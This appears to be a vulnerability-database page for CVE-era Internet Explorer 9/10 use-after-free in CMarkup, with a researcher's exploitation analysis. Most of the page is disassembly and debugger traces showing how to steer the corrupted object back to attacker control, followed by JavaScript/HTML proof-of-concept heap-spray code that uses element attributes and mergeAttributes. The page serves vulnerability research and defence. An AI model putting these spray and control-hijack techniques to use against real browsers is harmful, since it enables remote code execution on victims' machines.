Attacker Value
Unknown
(1 user assessed)
Exploitability
Unknown
(1 user assessed)
User Interaction
Unknown
Privileges Required
Unknown
Attack Vector
Unknown
0

Microsoft Internet Explorer Use-After-Free Vulnerability

Disclosure Date: February 14, 2014 Last updated February 13, 2020
Add MITRE ATT&CK tactics and techniques that apply to this CVE.

Description

Use-after-free vulnerability in Microsoft Internet Explorer 9 and 10 allows remote attackers to execute arbitrary code via vectors involving crafted JavaScript code, CMarkup, and the onpropertychange attribute of a script element, as exploited in the wild in January and February 2014.

Add Assessment

1
Technical Analysis

The crash / corruptions happens at CMarkup::UpdateMarkupContentsVersion:

.text:637C9454                 inc     dword ptr [eax+10h]

In order to return from CMarkup::UpdateMarkupContentsVersion we can use the next route:

.text:637C9454                 inc     dword ptr [eax+10h] ; Corruption!
.text:637C9457
.text:637C9457 loc_637C9457:                           ; CODE XREF: CMarkup::UpdateMarkupContentsVersion(void)+14j
.text:637C9457                 mov     ecx, [edx+94h]  ; we need to bypass this part, we control edx, so not a big deal
.text:637C945D                 xor     eax, eax
.text:637C945F                 test    ecx, ecx
.text:637C9461                 jz      short loc_637C9466
.text:637C9463                 mov     eax, [ecx+0Ch]
.text:637C9466
.text:637C9466 loc_637C9466:                           ; CODE XREF: CMarkup::UpdateMarkupContentsVersion(void)+23j
.text:637C9466                 cmp     dword ptr [eax+1C0h], 0 ; We must make eax+1c0h == 0 (not a big deal via spray)
.text:637C946D                 jz      short locret_637C9496 ; So this jz is taken and we return from CMarkup::UpdateMarkupContentsVersion
  • After returning from CMarkup::UpdateMarkupContentsVersion we land into CMarkup::NotifyElementEnterTree:
.text:63776EC8                 call    ?UpdateMarkupContentsVersion@CMarkup@@QAEXXZ ; it's the call we're using for corruption
.text:63776ECD                 mov     eax, [esi+98h]  ; esi is the controlled object
.text:63776ED3                 test    eax, eax
.text:63776ED5                 jz      short loc_63776EED
.text:63776ED7                 cmp     dword ptr [esi+1A4h], 15F90h
.text:63776EE1                 jl      short loc_63776EED
.text:63776EE3                 mov     eax, [eax+8]
.text:63776EE6                 and     dword ptr [eax+2F0h], 0FFFFFFBFh ; We need to bypass this and, after that we get the control back :)

Reused object:

0:008> dd 061b90c8 Ld0
061b90c8  deadc0de 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b90d8  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b90e8  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b90f8  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b9108  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b9118  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b9128  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b9138  1a1b1ff0 1a1b1ff0 1a1b1ff1 9a1b1ff1
061b9148  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b9158  1a1b1ff0 1a1b2004 1a1b200c 1a1b1ff0
061b9168  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b9178  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b9188  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b9198  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b91a8  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b91b8  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b91c8  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b91d8  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b91e8  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b91f8  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b9208  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b9218  1a1b1ff0 1a1b1ff0 1a1b1ff0 42424242
061b9228  1a1b1ff4 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b9238  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b9248  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b9258  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b9268  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b9278  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b9288  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b9298  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b92a8  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b92b8  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b92c8  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b92d8  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b92e8  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b92f8  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b9308  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b9318  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b9328  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b9338  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b9348  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b9358  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b9368  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b9378  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b9388  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b9398  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b93a8  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b93b8  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b93c8  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b93d8  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b93e8  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b93f8  1a1b1ff0 1a1b1ff0 1a1b1ff0 00001ff0

Sprayed memory should look like:

0:008> dd eax+10
1a1b2000  00000001 1a1b203c 00000000 1a1b2098
1a1b2010  1a1b2064 1a1b2068 00000000 00000000
1a1b2020  00000000 00000000 00000000 00000000
1a1b2030  00000000 00000000 00000000 00000000
1a1b2040  00000000 00000000 00000000 00000000
1a1b2050  00000000 00000000 00000000 00000000
1a1b2060  00000000 00000000 00000000 00000000
1a1b2070  00000000 00000000 00000000 00000000

x=1a1b1ff0 ebx=0298eeb8 ecx=00000195 edx=061b90c8 esi=061b90c8 edi=0297d568
eip=67ed9457 esp=02efb54c ebp=02efb5b8 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
MSHTML!CMarkup::UpdateMarkupContentsVersion+0x19:
67ed9457 8b8a94000000    mov     ecx,dword ptr [edx+94h] ds:0023:061b915c=04201b1a
0:008> dd edx + 94
061b915c  1a1b2004

0:008> t
eax=00000000 ebx=0298eeb8 ecx=1a1b2004 edx=061b90c8 esi=061b90c8 edi=0297d568
eip=67ed9463 esp=02efb54c ebp=02efb5b8 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
MSHTML!CMarkup::UpdateMarkupContentsVersion+0x25:
67ed9463 8b410c          mov     eax,dword ptr [ecx+0Ch] ds:0023:1a1b2010=64201b1a
0:008> dd ecx + 0c
1a1b2010  1a1b2064 1a1b2068 00000000 00000000

1a1b2064 must point to sprayed memory with content "0"

0:008> t
eax=1a1b2064 ebx=0298eeb8 ecx=1a1b2004 edx=061b90c8 esi=061b90c8 edi=0297d568
eip=67e86ecd esp=02efb550 ebp=02efb5b8 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
MSHTML!CMarkup::NotifyElementEnterTree+0x277:
67e86ecd 8b8698000000    mov     eax,dword ptr [esi+98h] ds:0023:061b9160=0c201b1a
0:008> dd esi + 98
061b9160  1a1b200c

0:008> dd 1a1b200c
1a1b200c  1a1b2098 1a1b2064 1a1b2068 00000000
1a1b201c  00000000 00000000 00000000 00000000
1a1b202c  00000000 00000000 00000000 00000000
1a1b203c  00000000 00000000 00000000 00000000
1a1b204c  00000000 00000000 00000000 00000000
1a1b205c  00000000 00000000 00000000 00000000
1a1b206c  00000000 00000000 00000000 00000000
1a1b207c  00000000 00000000 00000000 00000000

0:008> t
eax=1a1b200c ebx=0298eeb8 ecx=1a1b2004 edx=061b90c8 esi=061b90c8 edi=0297d568
eip=67e86ee3 esp=02efb550 ebp=02efb5b8 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
MSHTML!CMarkup::NotifyElementEnterTree+0x28d:
67e86ee3 8b4008          mov     eax,dword ptr [eax+8] ds:0023:1a1b2014=68201b1a
0:008> dd eax+8
1a1b2014  1a1b2068

Simulate an spray with:

.dvalloc /b 1a1b1ff0 4000

THen go to 1a1b2004 and write:

1a1b203c 00000000 1a1b2098 1a1b2064 1a1b2068

After several tries I keep crashing curiously again:

0:008> r
eax=00000000 ebx=02f0c028 ecx=1a1b1ff0 edx=04e68ad8 esi=04e68ad8 edi=02f02b00
eip=67ed9466 esp=036bb46c ebp=036bb4d8 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
MSHTML!CMarkup::UpdateMarkupContentsVersion+0x28:
67ed9466 83b8c001000000  cmp     dword ptr [eax+1C0h],0 ds:0023:000001c0=????????
0:008> dd ecx+c
1a1b1ffc  00000000 00000003 1a1b203c 00000000
1a1b200c  1a1b2098 1a1b2064 1a1b2068 00000000

So we’re going to try adding to 1a1b1ffc => 1a1b205c => It adds some reliability,
but finally crashes again, looks like because finally we don’t control the reused
memory, someone else won the race :?

.dvalloc /b 1a1b1ff0 4000
f 1a1b1ffc L1C 5C 20 1B 1A 00 00 00 00 3C 20 1B 1A 00 00 00 00 98 20 1B 1A 64 20 1B 1A 68 20 1B 1A

Heap Spray with Attributes

In order to use the technique by vupen disclosed here:

http://www.vupen.com/blog/20120117.Advanced_Exploitation_of_Windows_MS12-004_CVE-2012-0003.php

the cloneNode doesn’t work anymore:

	var cl0ne = test.cloneNode(true);

It won’t clone attribute values, so CAttrValue::Copy isn’t hit anymore. In order to solve, after checking
the xrefx to CattrValue::Copy there is an interesting new path:

CElement::mergeAttributes

Here is PoC:

function test() {
	var myDiv = document.getElementById("pwn")
	var test = document.createElement("select")
	test.setAttribute('obj0', "AAAAAAAAAAAAAAAAAAAA")
	test.setAttribute('obj1', new Date())
	test.setAttribute('obj2', new Date())
	test.setAttribute('obj3', "METASPLOIT")
	alert(test.attributes.length);
	alert(test.getAttribute('obj0'));
	var cl0ne = test.cloneNode(true);
	cl0ne.mergeAttributes(test);
}

Spraying with Attributes, definite version:

<html>
<head>

<script>
function myTest() {

	var test = document.createElement("select")
	for (var j = 0; j < 0x80; j++) {
		test.setAttribute('test' + j, unescape("%u0001"))
	}

	var empty = document.createElement("select")

	alert('oka, bp copy......')
	var myAttributes = new Array();
	for (var i = 0; i < 0x20; i++) {
		myAttributes[i] = empty.cloneNode(true);
		myAttributes[i].mergeAttributes(test);
	}


	alert('oka, check what is there in memory...')
	alert(myAttributes[0].getAttribute('test0').length);

	//alert(myAttributes[0].test0.length);
	//alert(cl0ne.attributes.length);
}
</script>
</head>
<body onload="myTest();">
</body>
</html>

It will spray 0x800 size structs (with the Variant types and the pointers to strings!)

Technical Analysis